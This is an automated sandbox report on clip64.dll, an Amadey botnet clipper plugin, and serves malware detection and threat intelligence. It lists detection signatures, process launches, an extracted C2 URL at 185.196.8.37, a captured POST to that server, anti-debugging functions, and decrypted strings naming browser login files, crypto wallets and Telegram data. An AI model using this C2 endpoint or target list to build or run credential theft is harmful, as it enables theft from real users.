Edit tour

Windows Analysis Report
clip64.dll

Overview

General Information

Sample name:	clip64.dll
Analysis ID:	1620555
MD5:	f923f79b330a5bf8ccb3fda0f71a9c48
SHA1:	26145188dc6f3f68ee0ccfacc66b324600a474e9
SHA256:	6788afe6d43f633e870c1814251b2a1cc52e3f8c1e34192687bbc5bfdddc99a4
Tags:	Amadeydlluser-skocherhan
Infos:

Detection

Amadey

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

Yara detected Amadeys Clipper DLL

C2 URLs / IPs found in malware configuration

Found potential dummy code loops (likely to delay analysis)

Sample uses string decryption to hide its real strings

Contains functionality for read data from the clipboard

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Program does not show much activity (idle)

Sample execution stops while process was sleeping (likely an evasion)

Uses 32bit PE files

Yara signature match

Classification

Process Tree

System is w10x64

loaddll32.exe (PID: 6120 cmdline: loaddll32.exe "C:\Users\user\Desktop\clip64.dll" MD5: 51E6071F9CBA48E79F10C84515AAE618)

conhost.exe (PID: 5084 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 4832 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\clip64.dll",#1 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

rundll32.exe (PID: 5872 cmdline: rundll32.exe "C:\Users\user\Desktop\clip64.dll",#1 MD5: 889B99C52A60DD49227C5E485A016679)

rundll32.exe (PID: 2432 cmdline: rundll32.exe C:\Users\user\Desktop\clip64.dll,??4CClipperDLL@@QAEAAV0@$$QAV0@@Z MD5: 889B99C52A60DD49227C5E485A016679)

rundll32.exe (PID: 4696 cmdline: rundll32.exe C:\Users\user\Desktop\clip64.dll,??4CClipperDLL@@QAEAAV0@ABV0@@Z MD5: 889B99C52A60DD49227C5E485A016679)

rundll32.exe (PID: 2172 cmdline: rundll32.exe C:\Users\user\Desktop\clip64.dll,Main MD5: 889B99C52A60DD49227C5E485A016679)

rundll32.exe (PID: 7228 cmdline: rundll32.exe "C:\Users\user\Desktop\clip64.dll",??4CClipperDLL@@QAEAAV0@$$QAV0@@Z MD5: 889B99C52A60DD49227C5E485A016679)

rundll32.exe (PID: 7236 cmdline: rundll32.exe "C:\Users\user\Desktop\clip64.dll",??4CClipperDLL@@QAEAAV0@ABV0@@Z MD5: 889B99C52A60DD49227C5E485A016679)

rundll32.exe (PID: 7244 cmdline: rundll32.exe "C:\Users\user\Desktop\clip64.dll",Main MD5: 889B99C52A60DD49227C5E485A016679)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Malware Configuration

Threatname: Amadey

{"C2 url": "185.196.8.37/Gd85kkjf/index.php", "Version": "5.10"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
clip64.dll	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
clip64.dll	loader_amadey_clipper_plugin	Finds Amadey\'s clipper plugin based on characteristic strings	Sekoia.io	0x1b516:$str01: CLIPPERDLL.dll 0x1b525:$str02: ??4CClipperDLL@@QAEAAV0@$$QAV0@@Z 0x1b547:$str03: ??4CClipperDLL@@QAEAAV0@ABV0@@Z 0x1b567:$str04: Main 0x1b762:$str05: OpenClipboard 0x1b7aa:$str06: GetClipboardData

Unpacked PEs

Source	Rule	Description	Author	Strings
18.2.rundll32.exe.6d500000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
18.2.rundll32.exe.6d500000.0.unpack	loader_amadey_clipper_plugin	Finds Amadey\'s clipper plugin based on characteristic strings	Sekoia.io	0x1b516:$str01: CLIPPERDLL.dll 0x1b525:$str02: ??4CClipperDLL@@QAEAAV0@$$QAV0@@Z 0x1b547:$str03: ??4CClipperDLL@@QAEAAV0@ABV0@@Z 0x1b567:$str04: Main 0x1b762:$str05: OpenClipboard 0x1b7aa:$str06: GetClipboardData
14.2.rundll32.exe.6d500000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
14.2.rundll32.exe.6d500000.0.unpack	loader_amadey_clipper_plugin	Finds Amadey\'s clipper plugin based on characteristic strings	Sekoia.io	0x1b516:$str01: CLIPPERDLL.dll 0x1b525:$str02: ??4CClipperDLL@@QAEAAV0@$$QAV0@@Z 0x1b547:$str03: ??4CClipperDLL@@QAEAAV0@ABV0@@Z 0x1b567:$str04: Main 0x1b762:$str05: OpenClipboard 0x1b7aa:$str06: GetClipboardData

Suricata Signatures

ETPRO MALWARE Ameday CnC Response M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-21T01:51:20.681835+0100	2856152	1	A Network Trojan was detected	185.196.8.37	80	192.168.2.7	49700	TCP
2025-02-21T01:51:23.230307+0100	2856152	1	A Network Trojan was detected	185.196.8.37	80	192.168.2.7	49707	TCP

Code function: 14_2_6D501EC0 std::_Xinvalid_argument,InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

14_2_6D501EC0

Source: unknown

HTTP traffic detected: POST /Gd85kkjf/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.196.8.37Content-Length: 5Cache-Control: no-cacheData Raw: 77 6c 74 3d 31 Data Ascii: wlt=1

Source: rundll32.exe, 0000000E.00000002.3720488782.0000000003349000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000002.3721926151.0000000002A80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.196.8.37/
Source: rundll32.exe, 0000000E.00000002.3720488782.0000000003374000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000002.3721926151.0000000002A80000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000002.3721926151.0000000002A3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.196.8.37/Gd85kkjf/index.php
Source: rundll32.exe, 00000012.00000002.3721926151.0000000002A80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.196.8.37/Gd85kkjf/index.php#
Source: rundll32.exe, 00000012.00000002.3721926151.0000000002A80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.196.8.37/Gd85kkjf/index.php4
Source: rundll32.exe, 00000012.00000002.3721926151.0000000002A3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.196.8.37/Gd85kkjf/index.phpPe4
Source: rundll32.exe, 00000012.00000002.3721926151.0000000002A80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.196.8.37/Gd85kkjf/index.phph
Source: rundll32.exe, 00000012.00000002.3721926151.0000000002A3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.196.8.37/Gd85kkjf/index.phpo
Source: rundll32.exe, 0000000E.00000002.3720488782.000000000333F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.196.8.37/Gd85kkjf/index.phpw
Source: rundll32.exe, 0000000E.00000002.3720488782.0000000003349000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.196.8.37/t%

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 14_2_6D5031B0 OpenClipboard,GetClipboardData,GlobalLock,WideCharToMultiByte,WideCharToMultiByte,GlobalUnlock,CloseClipboard,

14_2_6D5031B0

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 14_2_6D5031B0 OpenClipboard,GetClipboardData,GlobalLock,WideCharToMultiByte,WideCharToMultiByte,GlobalUnlock,CloseClipboard,

14_2_6D5031B0

System Summary

Malicious sample detected (through community Yara rule)

Source: clip64.dll, type: SAMPLE	Matched rule: Finds Amadey\'s clipper plugin based on characteristic strings Author: Sekoia.io
Source: 18.2.rundll32.exe.6d500000.0.unpack, type: UNPACKEDPE	Matched rule: Finds Amadey\'s clipper plugin based on characteristic strings Author: Sekoia.io
Source: 14.2.rundll32.exe.6d500000.0.unpack, type: UNPACKEDPE	Matched rule: Finds Amadey\'s clipper plugin based on characteristic strings Author: Sekoia.io

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_6D5031B0		14_2_6D5031B0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_6D511AB1		14_2_6D511AB1

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 6D5073B0 appears 34 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 6D505D90 appears 103 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 6D506B05 appears 47 times

Source: clip64.dll

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE, DLL

Source: clip64.dll, type: SAMPLE	Matched rule: loader_amadey_clipper_plugin author = Sekoia.io, description = Finds Amadey\'s clipper plugin based on characteristic strings, creation_date = 2023-05-16, classification = TLP:CLEAR, version = 1.0, id = 487b6657-8834-45ee-8fd4-03df9c0dd7be
Source: 18.2.rundll32.exe.6d500000.0.unpack, type: UNPACKEDPE	Matched rule: loader_amadey_clipper_plugin author = Sekoia.io, description = Finds Amadey\'s clipper plugin based on characteristic strings, creation_date = 2023-05-16, classification = TLP:CLEAR, version = 1.0, id = 487b6657-8834-45ee-8fd4-03df9c0dd7be
Source: 14.2.rundll32.exe.6d500000.0.unpack, type: UNPACKEDPE	Matched rule: loader_amadey_clipper_plugin author = Sekoia.io, description = Finds Amadey\'s clipper plugin based on characteristic strings, creation_date = 2023-05-16, classification = TLP:CLEAR, version = 1.0, id = 487b6657-8834-45ee-8fd4-03df9c0dd7be

Source: classification engine

Classification label: mal100.troj.spyw.evad.winDLL@18/0@0/1

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5084:120:WilError_03

Source: clip64.dll

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\clip64.dll,??4CClipperDLL@@QAEAAV0@$$QAV0@@Z

Source: clip64.dll	ReversingLabs: Detection: 73%
Source: clip64.dll	Virustotal: Detection: 77%

Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe "C:\Users\user\Desktop\clip64.dll"
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\clip64.dll",#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\clip64.dll,??4CClipperDLL@@QAEAAV0@$$QAV0@@Z
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\clip64.dll",#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\clip64.dll,??4CClipperDLL@@QAEAAV0@ABV0@@Z
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\clip64.dll,Main
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\clip64.dll",??4CClipperDLL@@QAEAAV0@$$QAV0@@Z
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\clip64.dll",??4CClipperDLL@@QAEAAV0@ABV0@@Z
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\clip64.dll",Main
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\clip64.dll",#1	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\clip64.dll,??4CClipperDLL@@QAEAAV0@$$QAV0@@Z	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\clip64.dll,??4CClipperDLL@@QAEAAV0@ABV0@@Z	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\clip64.dll,Main	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\clip64.dll",??4CClipperDLL@@QAEAAV0@$$QAV0@@Z	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\clip64.dll",??4CClipperDLL@@QAEAAV0@ABV0@@Z	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\clip64.dll",Main	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\clip64.dll",#1	Jump to behavior

Source: C:\Windows\System32\loaddll32.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: clip64.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: clip64.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: clip64.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: clip64.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: clip64.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: clip64.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: clip64.dll

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source: clip64.dll

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source: clip64.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: clip64.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: clip64.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: clip64.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: clip64.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Window / User API: threadDelayed 493	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Window / User API: threadDelayed 9500	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Window / User API: threadDelayed 2405	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Window / User API: threadDelayed 7588	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe TID: 6012	Thread sleep count: 493 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 6012	Thread sleep time: -493000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 6012	Thread sleep count: 9500 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 6012	Thread sleep time: -9500000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 7248	Thread sleep count: 2405 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 7248	Thread sleep time: -2405000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 7248	Thread sleep count: 7588 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 7248	Thread sleep time: -7588000s >= -30000s	Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 14_2_6D50BCEE FindFirstFileExW,

14_2_6D50BCEE

Source: C:\Windows\System32\loaddll32.exe

Thread delayed: delay time: 120000

Jump to behavior

Source: rundll32.exe, 0000000E.00000002.3720488782.000000000338E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: rundll32.exe, 0000000E.00000002.3720488782.0000000003349000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000E.00000002.3720488782.000000000338E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000002.3721926151.0000000002A9D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000002.3721926151.0000000002A3A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Anti Debugging

Found potential dummy code loops (likely to delay analysis)

Source: C:\Windows\SysWOW64\rundll32.exe

Process Stats: CPU usage > 42% for more than 60s

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 14_2_6D509820 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

14_2_6D509820

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_6D50B881 mov eax, dword ptr fs:[00000030h]		14_2_6D50B881
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_6D50A254 mov eax, dword ptr fs:[00000030h]		14_2_6D50A254

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 14_2_6D50D218 GetProcessHeap,

14_2_6D50D218

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_6D509820 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	14_2_6D509820
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_6D506B1A SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	14_2_6D506B1A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 14_2_6D507288 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	14_2_6D507288

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\rundll32.exe

Network Connect: 185.196.8.37 80

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\clip64.dll",#1

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 14_2_6D5070A7 cpuid

14_2_6D5070A7

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 14_2_6D5073F8 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

14_2_6D5073F8

Stealing of Sensitive Information

Yara detected Amadeys Clipper DLL

Source: Yara match	File source: clip64.dll, type: SAMPLE
Source: Yara match	File source: 18.2.rundll32.exe.6d500000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.rundll32.exe.6d500000.0.unpack, type: UNPACKEDPE

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	111 Process Injection	112 Virtualization/Sandbox Evasion	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	111 Process Injection	LSASS Memory	121 Security Software Discovery	Remote Desktop Protocol	2 Clipboard Data	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	112 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	11 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Rundll32	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	12 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Source: http://185.196.8.37/Gd85kkjf/index.php#	Avira URL Cloud: Label: malware
Source: http://185.196.8.37/Gd85kkjf/index.php	Avira URL Cloud: Label: malware

Source: 00000005.00000002.1254392816.000000000067A000.00000004.00000020.00020000.00000000.sdmp	String decryptor: \Mozilla\Firefox\Profiles\
Source: 00000005.00000002.1254392816.000000000067A000.00000004.00000020.00020000.00000000.sdmp	String decryptor: _Electrum(
Source: 00000005.00000002.1254392816.000000000067A000.00000004.00000020.00020000.00000000.sdmp	String decryptor: electrum_data\wallets
Source: 00000005.00000002.1254392816.000000000067A000.00000004.00000020.00020000.00000000.sdmp	String decryptor: Electrum\wallets
Source: 00000005.00000002.1254392816.000000000067A000.00000004.00000020.00020000.00000000.sdmp	String decryptor: \logins.json
Source: 00000005.00000002.1254392816.000000000067A000.00000004.00000020.00020000.00000000.sdmp	String decryptor: Exodus\exodus.wallet\
Source: 00000005.00000002.1254392816.000000000067A000.00000004.00000020.00020000.00000000.sdmp	String decryptor: Electrum.exe
Source: 00000005.00000002.1254392816.000000000067A000.00000004.00000020.00020000.00000000.sdmp	String decryptor: 185.196.8.37
Source: 00000005.00000002.1254392816.000000000067A000.00000004.00000020.00020000.00000000.sdmp	String decryptor: /Gd85kkjf/index.php
Source: 00000005.00000002.1254392816.000000000067A000.00000004.00000020.00020000.00000000.sdmp	String decryptor: Litecoin\wallets
Source: 00000005.00000002.1254392816.000000000067A000.00000004.00000020.00020000.00000000.sdmp	String decryptor: DashCore\wallets\
Source: 00000005.00000002.1254392816.000000000067A000.00000004.00000020.00020000.00000000.sdmp	String decryptor: Telegram.exe
Source: 00000005.00000002.1254392816.000000000067A000.00000004.00000020.00020000.00000000.sdmp	String decryptor: _Desktop.zip
Source: 00000005.00000002.1254392816.000000000067A000.00000004.00000020.00020000.00000000.sdmp	String decryptor: atomic\Local Storage\
Source: 00000005.00000002.1254392816.000000000067A000.00000004.00000020.00020000.00000000.sdmp	String decryptor: CentBrowser
Source: 00000005.00000002.1254392816.000000000067A000.00000004.00000020.00020000.00000000.sdmp	String decryptor: key=clear
Source: 00000005.00000002.1254392816.000000000067A000.00000004.00000020.00020000.00000000.sdmp	String decryptor: tdata\key_datas
Source: 00000005.00000002.1254392816.000000000067A000.00000004.00000020.00020000.00000000.sdmp	String decryptor: _Telegram(
Source: 00000005.00000002.1254392816.000000000067A000.00000004.00000020.00020000.00000000.sdmp	String decryptor: \user_data
Source: 00000005.00000002.1254392816.000000000067A000.00000004.00000020.00020000.00000000.sdmp	String decryptor: \dictionaries
Source: 00000005.00000002.1254392816.000000000067A000.00000004.00000020.00020000.00000000.sdmp	String decryptor: \CentBrowser\User Data\Local State
Source: 00000005.00000002.1254392816.000000000067A000.00000004.00000020.00020000.00000000.sdmp	String decryptor: \CentBrowser\User Data\Default\Login Data
Source: 00000005.00000002.1254392816.000000000067A000.00000004.00000020.00020000.00000000.sdmp	String decryptor: \Chedot\User Data\Default\Login Data
Source: 00000005.00000002.1254392816.000000000067A000.00000004.00000020.00020000.00000000.sdmp	String decryptor: \Comodo\Dragon\User Data\Local State
Source: 00000005.00000002.1254392816.000000000067A000.00000004.00000020.00020000.00000000.sdmp	String decryptor: \Google\Chrome\User Data\Default\Login Data
Source: 00000005.00000002.1254392816.000000000067A000.00000004.00000020.00020000.00000000.sdmp	String decryptor: \CocCoc\Browser\User Data\Local State
Source: 00000005.00000002.1254392816.000000000067A000.00000004.00000020.00020000.00000000.sdmp	String decryptor: \Microsoft\Edge\User Data\Local State
Source: 00000005.00000002.1254392816.000000000067A000.00000004.00000020.00020000.00000000.sdmp	String decryptor: \Orbitum\User Data\Default\Login Data
Source: 00000005.00000002.1254392816.000000000067A000.00000004.00000020.00020000.00000000.sdmp	String decryptor: \Google\Chrome\User Data\Local State
Source: 00000005.00000002.1254392816.000000000067A000.00000004.00000020.00020000.00000000.sdmp	String decryptor: \Vivaldi\User Data\Default\Login Data
Source: 00000005.00000002.1254392816.000000000067A000.00000004.00000020.00020000.00000000.sdmp	String decryptor: \Comodo\Dragon\User Data\Default\Login Data
Source: 00000005.00000002.1254392816.000000000067A000.00000004.00000020.00020000.00000000.sdmp	String decryptor: \CocCoc\Browser\User Data\Default\Login Data
